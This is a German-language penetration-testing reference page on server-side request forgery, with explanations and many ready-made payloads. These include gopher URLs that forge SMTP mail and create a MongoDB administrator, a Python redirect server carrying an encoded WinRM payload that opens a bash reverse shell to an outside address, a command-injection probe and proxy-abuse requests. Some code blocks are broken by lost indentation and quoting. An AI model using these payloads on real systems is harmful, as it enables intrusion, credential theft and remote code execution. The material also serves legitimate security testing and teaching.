SSRF (Server Side Request Forgery)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Eine Server-side Request Forgery (SSRF)-Schwachstelle tritt auf, wenn ein Angreifer eine server-side application manipuliert, damit sie HTTP requests an eine vom Angreifer gewählte Domain sendet. Diese Schwachstelle setzt den Server beliebigen externen Anfragen aus, die vom Angreifer gesteuert werden.

SSRF erfassen

Als Erstes müssen Sie eine von Ihnen erzeugte SSRF-Interaktion erfassen. Um eine HTTP- oder DNS-Interaktion zu erfassen, können Sie Tools wie folgende verwenden:

Whitelisted Domains Bypass

Normalerweise werden Sie feststellen, dass die SSRF nur in bestimmten whitelisted domains oder URLs funktioniert. Auf der folgenden Seite finden Sie eine Zusammenstellung von Techniken, um diese whitelist zu umgehen:

URL Format Bypass

Bypass via open redirect

Wenn der Server korrekt geschützt ist, könnten Sie alle Beschränkungen umgehen, indem Sie eine Open Redirect innerhalb der Webseite ausnutzen. Da die Webseite SSRF to the same domain zulässt und wahrscheinlich follow redirects, können Sie die Open Redirect ausnutzen, um den Server auf beliebige interne Ressourcen zugreifen zu lassen.
Mehr dazu: https://portswigger.net/web-security/ssrf

Protokolle

  • file://
  • Das URL-Schema file:// wird erwähnt und zeigt direkt auf /etc/passwd: file:///etc/passwd
  • dict://
  • Das DICT-URL-Schema wird beschrieben und dient zum Zugriff auf Definitionen oder Wortlisten über das DICT-Protokoll. Ein Beispiel zeigt eine konstruierte URL, die auf ein bestimmtes Wort, eine Datenbank und eine Eintragsnummer abzielt, sowie ein Beispiel, wie ein PHP-Skript möglicherweise missbraucht werden könnte, um sich mit einem DICT-Server unter Verwendung vom Angreifer bereitgestellter Anmeldeinformationen zu verbinden: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Als Protokoll für sicheren Dateitransfer über Secure Shell identifiziert, wird ein Beispiel gegeben, das zeigt, wie ein PHP-Skript ausgenutzt werden könnte, um sich mit einem bösartigen SFTP-Server zu verbinden: url=sftp://generic.com:11111/
  • TFTP://
  • Das Trivial File Transfer Protocol, das über UDP arbeitet, wird erwähnt mit einem Beispiel eines PHP-Skripts, das eine Anfrage an einen TFTP-Server sendet. Eine TFTP-Anfrage wird an ‘generic.com’ auf Port ‘12346’ für die Datei ‘TESTUDPPACKET’ gestellt: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Dieser Abschnitt behandelt das Lightweight Directory Access Protocol und betont dessen Verwendung zur Verwaltung und zum Zugriff auf verteilte Directory-Informationen über IP-Netzwerke. Mit einem LDAP-Server auf localhost interagieren: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Es wird eine Methode beschrieben, wie SSRF-Schwachstellen ausgenutzt werden können, um mit SMTP-Services auf localhost zu interagieren, einschließlich Schritten zur Offenlegung interner Domain-Namen und weiteren Untersuchungsmaßnahmen basierend auf diesen Informationen.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Wenn die SSRF von curl ausgeführt wird, hat curl eine Funktion namens URL globbing, die nützlich sein kann, um WAFs zu umgehen. Zum Beispiel findest du in diesem writeup dieses Beispiel für eine path traversal via file protocol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Das Gopher-Protokoll ermöglicht es, IP, Port und Bytes anzugeben, die für die Kommunikation mit einem Server verwendet werden sollen. Es werden Tools wie Gopherus und remote-method-guesser zum Erstellen von Payloads erwähnt. Zwei verschiedene Einsatzmöglichkeiten werden dargestellt:

Gopher://

Mit diesem Protokoll kannst du die IP, den Port und die Bytes angeben, die du möchtest, dass der Server senden soll. Damit kannst du im Grunde eine SSRF ausnutzen, um mit beliebigen TCP-Servern zu kommunizieren (du musst jedoch zuerst wissen, wie du mit dem Dienst sprechen musst).
Glücklicherweise kannst du Gopherus verwenden, um Payloads für mehrere Dienste zu erstellen. Zusätzlich kann remote-method-guesser verwendet werden, um gopher Payloads für Java RMI Dienste zu erstellen.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Back connect to 1337

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB – Erstelle Benutzer mit username=admin mit password=admin123 und mit permission=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF via Referrer header & Andere

Analytics-Software auf Servern protokolliert häufig den Referrer header, um eingehende Links nachzuverfolgen — eine Praxis, die Anwendungen unbeabsichtigt für Server-Side Request Forgery (SSRF)-Schwachstellen öffnet. Das liegt daran, dass solche Software externe URLs, die im Referrer header genannt werden, besuchen kann, um den Inhalt der verweisenden Seite zu analysieren. Um diese Schwachstellen aufzudecken, wird das Burp Suite-Plugin “Collaborator Everywhere” empfohlen, da es die Art und Weise ausnutzt, wie Analytics-Tools den Referer header verarbeiten, um potenzielle SSRF-Angriffsflächen zu identifizieren.

SSRF via SNI-Daten aus dem Zertifikat

Eine Fehlkonfiguration, die die Verbindung zu beliebigen Backends durch ein einfaches Setup ermöglichen könnte, wird anhand einer Beispiel-Nginx-Konfiguration veranschaulicht:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Bei dieser Konfiguration wird der Wert aus dem Server Name Indication (SNI)-Feld direkt als Backend-Adresse verwendet. Diese Konfiguration öffnet eine Schwachstelle für Server-Side Request Forgery (SSRF), die ausgenutzt werden kann, indem man einfach die gewünschte IP-Adresse oder den gewünschten Domainnamen im SNI-Feld angibt. Ein Exploit-Beispiel, um eine Verbindung zu einem beliebigen Backend wie internal.host.com mit dem openssl-Befehl zu erzwingen, ist unten dargestellt:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF via TLS AIA CA Issuers (Java mTLS)

Einige TLS-Stacks laden fehlende Intermediate-CAs automatisch herunter, indem sie die Authority Information Access (AIA) → CA Issuers URI im Peer-Zertifikat verwenden. In Java führt das Aktivieren von -Dcom.sun.security.enableAIAcaIssuers=true beim Betrieb eines mTLS-Services dazu, dass der Server während des Handshakes vom Client-Zertifikat auf vom Angreifer kontrollierte URIs dereferenziert, und zwar bevor irgendeine HTTP-Logik ausgeführt wird.

  • Voraussetzungen: mTLS aktiviert, Java AIA fetching aktiviert, Angreifer kann ein Client-Zertifikat mit einer manipulierten AIA CA Issuers URI präsentieren.
  • SSRF auslösen (Java 21 Beispiel):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k                      # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem

Die Java certpath-Debug-Ausgabe zeigt CertStore URI:http://localhost:8080, und nc fängt die HTTP-Anfrage mit dem steuerbaren User-Agent aus -Dhttp.agent ab, was SSRF während der Zertifikatsvalidierung beweist.

  • DoS via file://: Das Setzen der AIA CA Issuers auf file:///dev/urandom auf Unix-ähnlichen Hosts lässt Java dies als CertStore behandeln und ungebundene Zufallsbytes lesen, wodurch ein CPU-Kern dauerhaft ausgelastet wird und nachfolgende Verbindungen blockiert werden, selbst nachdem der Client die Verbindung getrennt hat.

SSRF via CSS Pre-Processors

LESS ist ein populärer CSS-Präprozessor, der Variablen, Mixins, Funktionen und die mächtige @import-Direktive hinzufügt. Während der Kompilierung holt die LESS-Engine die in @import-Anweisungen referenzierten Ressourcen und bettet deren Inhalte in das resultierende CSS ein (“inline”), wenn die (inline)-Option verwendet wird.

Check how to exploit it in:

LESS Code Injection

Wget file upload

SSRF mit Command Injection

Es kann sich lohnen, eine Nutzlast wie diese zu versuchen: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFs Rendering

Wenn die Webseite automatisch ein PDF mit Informationen erstellt, die Sie geliefert haben, können Sie etwas JS einfügen, das vom PDF-Ersteller selbst (dem Server) beim Erstellen des PDFs ausgeführt wird, und so SSRF missbrauchen. Find more information here.

From SSRF to DoS

Erstellen Sie mehrere Sessions und versuchen Sie, große Dateien über das SSRF aus diesen Sessions herunterzuladen.

SSRF PHP Functions

Check the following page for vulnerable PHP and even Wordpress functions:

PHP SSRF

SSRF Redirect to Gopher

Für einige Exploits müssen Sie möglicherweise eine Redirect-Antwort senden (z. B. um ein anderes Protokoll wie gopher zu verwenden). Hier finden Sie verschiedene python-Codes, um mit einem Redirect zu antworten:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Fehlkonfigurierte Proxies für SSRF

Tricks aus diesem Beitrag.

Flask

Flask proxy anfälliger Code ```python from flask import Flask from requests import get

app = Flask(‘main’) SITE_NAME = ‘https://google.com’

@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)

def proxy(path): return get(f’{SITE_NAME}{path}’).content

if name == “main”: app.run(threaded=False)

</details>

Flask erlaubt die Verwendung von **`@`** als Anfangszeichen, wodurch der **anfängliche Hostname zum Benutzernamen** wird und ein neuer Hostname injiziert werden kann. Angriffsanfrage:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Anfälliger Code:

Es wurde entdeckt, dass es möglich ist, den Pfad einer Anfrage mit dem Zeichen ; zu beginnen, wodurch es möglich wird, anschließend @ zu verwenden und einen neuen Host einzufügen, auf den zugegriffen werden kann. Angriffsanfrage:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP eingebauter Webserver

Verwundbarer PHP-Code ```php

$proxy_site = $site.$current_uri; var_dump($proxy_site);

echo “\n\n”;

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP erlaubt die Verwendung des **Zeichens `*` vor einem Slash im Pfad** der URL, hat jedoch weitere Einschränkungen: Es kann nur für den Root-Pfadnamen `/` verwendet werden und Punkte `.` sind vor dem ersten Slash nicht erlaubt, daher muss z. B. eine punktefreie hex-codierte IP-Adresse verwendet werden:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

Reverse-Proxies, die absolute-form Request-Lines akzeptieren (open forward-proxy)

Einige Reverse-Proxies akzeptieren außerdem absolute-form request lines (GET http://10.0.0.5:8080/path HTTP/1.1) und leiten die URL unverändert an ein Backend weiter, statt sie zu verwerfen oder auf den konfigurierten Upstream umzuschreiben. Dadurch verwandelt sich der Reverse-Proxy in einen pre-auth forward proxy with full-read SSRF, einschließlich des Zugriffs auf an localhost gebundene Dienste, die normalerweise aus dem Internet nicht erreichbar wären.

Kernaussagen:

  • Request line controls destination”: die authority in der absoluten URL überschreibt das normale Routing; der Host-Header wird üblicherweise ignoriert.
  • Full response returned”: Antworten von internen Hosts werden zurückgestreamt, sodass du diese enumerieren und interagieren kannst (z.B. SOAP/Axis2, Keycloak, admin consoles) statt blind zu proben.
  • Works on localhost”: GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\n reicht aus, um ausschließlich über Loopback erreichbare Listener zu erreichen.
  • Abuse as pivot”: Kombiniere mit anderen Schwachstellen (z.B. Upload-Endpunkte), um intra-host Dienste zu erreichen.

Minimal probe:

GET http://127.0.0.1:8080/ HTTP/1.1
Host: whatever
Connection: close

If you see the upstream response instead of a 400, the appliance is acting as an open proxy.

DNS Rebidding CORS/SOP bypass

Wenn du Probleme hast, Inhalte von einer local IP zu exfiltrate, weil CORS/SOP das verhindert, kann DNS Rebidding verwendet werden, um diese Einschränkung zu umgehen:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin ist ein Tool, um DNS rebinding Angriffe durchzuführen. Es enthält die notwendigen Komponenten, um die IP-Adresse des DNS-Namens des Angreifers auf die IP-Adresse der Zielmaschine zu rebinden und attack payloads bereitzustellen, um verwundbare Software auf der Zielmaschine auszunutzen.

Sieh dir auch den öffentlich betriebenen Server an unter http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Voraussetzungen:

  • SSRF
  • Outbound TLS sessions
  • Stuff on local ports

Angriff:

  1. Veranlasse den Benutzer/Bot, eine vom attacker kontrollierte domain zu access.
  2. Die TTL des DNS ist 0 sec (damit das Opfer die IP der Domain bald erneut abfragt).
  3. Eine TLS connection wird zwischen dem Opfer und der Domain des Angreifers aufgebaut. Der Angreifer platziert die payload inside die Session ID or Session Ticket.
  4. Die domain startet eine infinite loop von Redirects gegen himself. Ziel ist, den Benutzer/Bot so lange die Domain aufsuchen zu lassen, bis er again eine DNS request für die Domain durchführt.
  5. In der DNS request wird now eine private IP zurückgegeben (z. B. 127.0.0.1).
  6. Der Benutzer/Bot versucht die reestablish the TLS connection und wird dafür die Session ID/Ticket ID senden (in der die payload des Angreifers enthalten war). Glückwunsch — du hast es geschafft, den user/bot attack himself.

Beachte, dass du während dieses Angriffs, wenn du localhost:11211 (memcache) attackieren willst, das Opfer die initiale Verbindung mit www.attacker.com:11211 herstellen lassen musst (the port must always be the same).
Um diesen Angriff durchzuführen kannst du das Tool: https://github.com/jmdx/TLS-poison/ verwenden.
Für mehr information siehe den Talk, in dem dieser Angriff erklärt wird: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Der Unterschied zwischen einem blind SSRF und einem nicht-blinden besteht darin, dass du beim blind SSRF die Antwort der SSRF-Anfrage nicht sehen kannst. Dadurch ist die Ausnutzung schwieriger, weil du nur bekannte Schwachstellen ausnutzen kannst.

Time based SSRF

Die Überprüfung der Zeit der Antworten vom Server kann es möglich machen herauszufinden, ob eine Ressource existiert oder nicht (vielleicht dauert der Zugriff auf eine existierende Ressource länger als auf eine, die nicht existiert).

From blind to full abusing status codes

Laut diesem blog post, können einige blind SSRF auftreten, weil selbst wenn die ziel-URL mit einem 200-Statuscode antwortet (wie AWS metadata), diese Daten nicht richtig formatiert sind und die App sie deshalb möglicherweise nicht anzeigt.

Es wurde jedoch festgestellt, dass das Senden bestimmter Redirect-Antworten von 305 bis 309 im SSRF es möglich machen kann, dass die Anwendung diesen Redirects folgt, während sie in einen Fehlermodus wechselt, in dem sie das Datenformat nicht mehr prüft und diese einfach ausgibt.

Der Python-Server, der verwendet wird, um dies auszunutzen, ist folgender:

@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

Schritte:

  • Zuerst veranlasst eine 302 die App dazu, dem Redirect zu folgen.
  • Dann empfängt sie 305 → 306 → 307 → 308 → 309 → 310.
  • Nach dem 5. ungewöhnlichen Code gibt der PoC schließlich 302 → 169.254.169.254 → 200 OK zurück.

Was im Target passiert:

  • libcurl selbst folgt 305–310; es normalisiert unbekannte Codes einfach auf “follow.”
  • Nach N seltsamen Redirects (≥ 5 hier) entscheidet der eigene Wrapper der Anwendung, “something is off” und wechselt in einen für Debugging gedachten Fehlermodus.
  • In diesem Modus gibt er die gesamte Redirect-Kette plus den finalen Body an den externen Aufrufer zurück.
  • Ergebnis: Der Angreifer sieht jeden Header + das metadata JSON, mission accomplished.

Beachte, dass das interessant ist, um Statuscodes zu leak, die du vorher nicht leak konntest (wie z. B. eine 200). Wenn du jedoch irgendwie auch den Statuscode der Antwort auswählen könntest (stell dir vor, du könntest bestimmen, dass die AWS metadata mit einem 500-Statuscode antwortet), könnten einige Statuscodes direkt den Inhalt der Antwort leak.

HTML-to-PDF-Renderer als blindes SSRF-Gadget

Bibliotheken wie TCPDF (und Wrapper wie spipu/html2pdf) holen automatisch alle URLs, die im vom Angreifer kontrollierten HTML vorhanden sind, während sie ein PDF rendern. Jedes <img>- oder <link rel="stylesheet">-Attribut wird serverseitig via cURL, getimagesize(), oder file_get_contents() aufgelöst, sodass du den PDF-Worker dazu bringen kannst, interne Hosts zu probieren, obwohl keine HTTP-Antwort an dich zurückgespiegelt wird.

<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
  • TCPDF 6.10.0 führt mehrere Abrufversuche für jede <img>-Ressource durch, sodass eine einzelne payload mehrere requests erzeugen kann (hilfreich für timing-based port scans).
  • html2pdf kopiert das Verhalten von TCPDF für <img> und fügt CSS-Fetching innerhalb von Css::extractStyle() hinzu, welches nach einer oberflächlichen Schema-Prüfung einfach file_get_contents($href) aufruft. Missbrauche es, um loopback services, RFC1918 ranges oder cloud metadata endpoints zu treffen.
  • Kombiniere dieses SSRF-Primitiv mit den HTML-to-PDF path traversal tricks, um sowohl internal HTTP responses als auch local files, die in das PDF gerendert werden, zu leaken.

Sicherheitsverantwortliche sollten externe URLs vor dem Rendern entfernen oder den Renderer in einer Netzwerk-Sandbox isolieren; bis dahin sollten PDF-Generatoren als blind SSRF-Proxies behandelt werden.

Cloud SSRF Exploitation

Wenn du eine SSRF-Schwachstelle in einer Maschine findest, die innerhalb einer Cloud-Umgebung läuft, könntest du interessante Informationen über die Cloud-Umgebung und sogar Zugangsdaten erhalten:

Cloud SSRF

SSRF Vulnerable Platforms

Mehrere bekannte Plattformen enthalten oder enthielten SSRF-Schwachstellen, siehe:

SSRF Vulnerable Platforms

Tools

SSRFMap

Tool zum Aufspüren und Ausnutzen von SSRF-Schwachstellen

Gopherus

Dieses Tool generiert Gopher payloads für:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

